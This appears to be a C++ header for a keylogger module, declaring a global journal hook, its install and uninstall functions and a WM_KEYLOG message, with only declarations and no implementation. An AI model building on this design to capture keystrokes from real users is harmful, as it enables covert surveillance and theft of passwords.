- //---------------------------------------------------------------------------
- #ifndef KeyLogH
- #define KeyLogH
- #define WM_KEYLOG 0x402
- //---------------------------------------------------------------------------
- extern TStringList *HookList; //
- //-------------------------------全局钩子--------------------
- void InstallHook(HWND hWnd);
- void UnInstallHook(void);
- HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam);
- #endif